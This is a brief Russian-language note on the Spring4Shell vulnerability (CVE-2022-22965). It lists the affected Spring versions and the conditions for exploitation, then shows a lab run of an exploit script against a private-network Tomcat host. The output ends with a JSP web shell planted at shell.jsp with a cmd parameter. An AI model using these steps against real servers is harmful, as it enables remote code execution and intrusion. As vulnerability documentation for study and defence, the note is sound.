
Spring4Shell
Spring Framework 5.3.18 and 5.2.20
Spring Boot 2.6.6 and 2.5.12
Spring Core — это основной компонент Spring Framework. Он является фундаментом для создания других компонентов экосистемы Spring Framework, таких как Spring MVC, Spring Boot, Spring WebFlux. Код эксплойта может быть выполнен при следующих условиях:
JDK 9 или выше
Apache Tomcat выступает в роли сервлетного контейнера
Упаковка в WAR
Зависимости пакетов: spring-webmvc или spring-webflux
Если приложение развернуто в виде исполняемого jar-файла Spring Boot, как это происходит по умолчанию, оно не будет затронуто этой уязвимостью.
python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting
└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id